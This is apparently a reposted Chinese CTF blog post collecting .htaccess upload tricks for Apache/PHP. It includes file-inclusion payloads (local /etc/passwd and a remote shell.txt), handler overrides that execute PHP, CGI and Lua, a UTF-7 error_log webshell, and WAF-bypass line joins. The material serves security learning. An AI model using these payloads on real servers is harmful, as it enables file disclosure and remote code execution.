[CTF].htaccess的使用技巧总结
Posted Y4tacker
tags:
篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了[CTF].htaccess的使用技巧总结相关的知识,希望对你有一定的参考价值。
文章目录
前言
这周参加了津门杯,发现htaccess学的不深入,并且没有总结,我反思好吧
.htaccess
什么是htaccess文件
简介
.htaccess
是一个配置文件,用于运行Apache网络服务器软件的网络服务器上。当.htaccess
文件被放置在一个 "通过Apache Web服务器加载 "的目录中时,.htaccess
文件会被Apache Web服务器软件检测并执行。这些.htaccess
文件可以用来改变Apache Web服务器软件的配置,以启用/禁用Apache Web服务器软件所提供的额外功能和特性。
.htaccess
文件提供了针对目录改变配置的方法, 即在一个特定的文档目录中放置一个包含一条或多条指令的文件, 以作用于此目录及其所有子目录。作为用户,所能使用的命令受到限制。管理员可以通过 Apache 的 AllowOverride
指令来设置。
Eg:.htaccess 中有 # 单行注释符, 且支持 \\拼接上下两行。(注意后面这个东西很重要)
其他
.htaccess
文件所在的目录及其所有子目录,若要启动.htaccess
配置文件,我们需要在服务器的主配置文件将 AllowOverride 设置为 All
AllowOverride All #启动.htaccess文件的使用
常见使用方式
自定义出错界面
我们可以使用.htaccess 创建自定义的出错页面。对于Linux Apache来说这是一项极其简单的事情。使用下面的.htaccess语法你可以轻松的完成这一功能。(把.htaccess放在你的网站根目录下),这个在这次比赛当中Nu1l战队师傅用了,打call
ErrorDocument 401 /error/401.php
ErrorDocument 403 /error/403.php
ErrorDocument 404 /error/404.php
ErrorDocument 500 /error/500.php
当时出flag是这样的
<If "file('/flag') =~ '/flag{a/'">
ErrorDocument 404 "y4tacker"
</If>
假设flag为flag{testflag}
通过后面flag{a不断变换字符一直到flag{t,页面就会出现y4tacker
SetHandler和ForceType
强制所有匹配的文件被一个指定的处理器处理
用法
ForceType application/x-httpd-php
SetHandler application/x-httpd-php
AddHandler
AddType application/x-httpd-php .htm,则.htm文件也可以执行php程序
AddHandler cgi-script .yyy 则扩展名为.yyy的文件作为 CGI 脚本来处理
AddType
AddType 可以将给定的文件扩展名映射到指定的内容类型
AddType application/x-httpd-php .xxx 同上AddHandler的作用
php_value
当使用 PHP 作为 Apache 模块时,也可以用 Apache 的配置文件(例如 httpd.conf)和 .htaccess 文件中的指令来修改 php 的配置设定。需要有AllowOverride Options 或AllowOverride All 权限才可以。
php_value 设定指定的值。要清除先前设定的值,把 value 设为 none。不要用 php_value 设定布尔值。应该用 php_flag
而.htaccess 只能用于 PHP_INI_ALL 或 PHP_INI_PERDIR 类型的指令(https://www.php.net/manual/zh/configuration.changes.modes.php)
而具体的类型的指令可以参考官方文档https://www.php.net/manual/zh/ini.list.php
在CTF当中的文件上传可以利用这个来实现传一句话木马
php_value auto_prepend_file 1.txt 在主文件解析之前自动解析包含1.txt的内容
php_value auto_prepend_file 2.txt 在主文件解析后自动解析1.txt的内容
刚刚看到网上师傅又说了,可以用来绕过preg_match
,我们可以用最大回溯(pcre.backtrack_limit)/递归限制使php正则失效
php_value pcre.backtrack_limit 0
当然还有设置其他方式,下面都是可以的,我们看官方配置,PCRE配置选项
名字 | 默认 | 可修改范围 | 更新日志 |
---|---|---|---|
pcre.backtrack_limit | 100000 | PHP_INI_ALL | php 5.2.0 起可用 |
pcre.recursion_limit | 100000 | PHP_INI_ALL | php 5.2.0 起可用用 |
pcre.jit | 1 | PHP_INI_ALL | PHP 7.0.0 起可用 |
设置正则回朔次数来使正则匹配的结果返回为 false 而不是0 ,从而可以绕过正则。
php_flag
用 php_flag设置布尔值,可以将 engine 设置为 0,在本目录和子目录中关闭 php 解析,造成源码泄露
Trick总结
利用404页面
出flag是这样的
<If "file('/flag') =~ '/flag{a/'">
ErrorDocument 404 "y4tacker"
</If>
假设flag为flag{testflag}
通过后面flag{a不断变换字符一直到flag{t,页面就会出现y4tacker
文件包含
本地文件包含
当前目录下php文件头引入/etc/passwd
php_value auto_append_file /etc/passwd
使作用范围内的php文件在文件头/尾自动include指定文件,支持php伪协议,.htaccess可以设置php_value include_path "xxx"将include()的默认路径改变
php_value include_path "xxx"
举个例子,也就会输出一个好东西
<?php
ini_set("include_path","../../../../../../../../");
include "etc/passwd";
远程文件包含
PHP 的 all_url_include 配置选项这个选项默认是关闭的,如果开启的话就可以远程包含。因为 all_url_include 的配置范围为 PHP_INI_SYSTEM,所以无法利用 php_flag 在 .htaccess 中开启。设置好了以后
php_value auto_append_file http://xxxxx.xxxx.xxx/shell.txt
可以利用伪协议
需要all_url_fopen
、all_url_include
为 On
php_value auto_append_file data://text/plain;base64,PD9waHAgcGhwaW5mbygpOw==
或
php_value auto_append_file data://text/plain,%3C%3Fphp+phpinfo%28%29%3B
或
php_value auto_append_file "php://filter/convert.base64-decode/resource=shell.txt"
htaccess把自己指定当做 php文件处理
当前目录下有php文件
php_value auto_append_file .htaccess
#<?php phpinfo();
对于有过滤的情况我们前面说了可以使用\\
号
php_value auto_prepend_fi\\
le .htaccess
#<?php phpinfo();
当前目录下无php文件
重点:需要先设置允许可访问 .htaccess 文件
<Files .htaccess>
//ForceType application/x-httpd-php
SetHandler application/x-httpd-php
Require all granted
php_flag engine on
</Files>
php_value auto_prepend_fi\\
le .htaccess
#<?php phpinfo();
或
<FilesMatch .htaccess>
//ForceType application/x-httpd-php
SetHandler application/x-httpd-php
Require all granted
php_flag engine on
</FilesMatch>
php_value auto_prepend_fi\\
le .htaccess
#<?php phpinfo();
或 将 .htaccess指定当做 php文件处理,一般不用这个感觉
SetHandler application/x-httpd-php
# <?php phpinfo(); ?>
文件解析配合一句话木马
<FilesMatch "y4tacker">
SetHandler application/x-httpd-php
//或ForceType application/x-httpd-php
</FilesMatch>
或
AddType application/x-httpd-php .txt
或
AddHandler php7-script .txt
Cgi执行
如果开启了cgi扩展,也可以来解析shell脚本,也就是说cgi_module 需要加载,即 apache 配置文件中有,如 apache2.conf中
LoadModule cgi_module modules/mod_cgi.so
在.htaccess
中
Options +ExecCGI #允许CGI执行
AddHandler cgi-script .sh
再写个
#!/bin/bash
echo "Content-Type: text/plain"
echo ""
ls /
exit 0
FastCgi执行
mod_fcgid.so需要被加载。即 apache2.conf中
LoadModule fcgid_module modules/mod_fcgid.so
在.htaccess
中
Options +ExecCGI
AddHandler fcgid-script .kk
FcgidWrapper "/bin/ls /" .kk
再写一个y4.kk 内容随意
就会执行上面内容
lua执行
来自feng师傅补充,2020年西湖论剑 newupload,当然肯定还有一堆各种各样脚本语言了,
AddHandler lua-script .lua
随便写一个lua文件
require "string"
function handle(r)
r.content_type = "text/plain"
local t = io.popen('/readflag')
local a = t:read("*all")
r:puts(a)
if r.method == 'GET' then
for k, v in pairs( r:parseargs() ) do
r:puts( string.format("%s: %s\\n", k, v) )
end
else
r:puts("Unsupported HTTP method " .. r.method)
end
end
利用报错信息写马
首先写入.htaccess error_log相关的配置
php_value include_path "/tmp/xx/+ADw?php die(eval($_GET[1]))+ADs +AF8AXw-halt+AF8-compiler()+ADs"
php_value error_reporting 32767
php_value error_log /tmp/fl3g.php
上面那些神奇字符是utf7编码,可以用下面的方式得到
<?php
$filename = "php://filter/write=convert.iconv.utf-8.utf-7/resource=y4.txt"; //utf-16le编码写入文件
file_put_contents($filename, "<?php phpinfo();?>");
或者
mb_convert_encoding('<?php eval($_GET[\\'cmd\\']); ?>',"utf-7");
Step2 访问index.php留下error_log
Step3 写入.htaccess新的配置
php_value zend.multibyte 1
php_value zend.script_encoding "UTF-7"
php_value include_path "/tmp"
Step4 再访问一次index.php?1=whoami
绕过exif_imagetype()上传.htaccess
采用xbm格式X Bit Map,绕过exif_imagetype()方法的检测,上传文件来解析。在计算机图形学中,X Window系统使用X BitMap,一种纯文本二进制图像格式,用于存储X GUI中使用的光标和图标位图。XBM数据由一系列包含单色像素数据的静态无符号字符数组组成,当格式被普遍使用时,XBM通常出现在标题.h文件中,每个图像在标题中存储一个数组。也就是用c代码来标识一个xbm文件,前两个#defines指定位图的高度和宽度,以像素为单位
#define width 20
#define height 10
xxxxxx
\\号绕过waf
比如过滤了file,我们可以使用
php_value auto_prepend_fi\\
le .htaccess
#<?php phpinfo();
\\号绕过藏字符
假设在写入文件同时后面默认加上file_put_contents($filename, $content . "\\nhappy")
,我们payload最后可以加上#\\,#负责注释,
php_value include_path "/tmp"
php_value zend.multibyte 1
php_value zend.script_encoding "UTF-7"
# \\
happy
\\将注释符和脏字符连成一行,注释掉脏字符
参考文章
https://httpd.apache.org/docs/2.4/expr.html
https://xz.aliyun.com/t/8267
http://www.htaccess-guide.com/
https://www.anquanke.com/post/id/185377#h3-4
以上是关于[CTF].htaccess的使用技巧总结的主要内容,如果未能解决你的问题,请参考以下文章
apache_conf 强大的.htaccess片段,需要在最顶层使用RewriteEngine On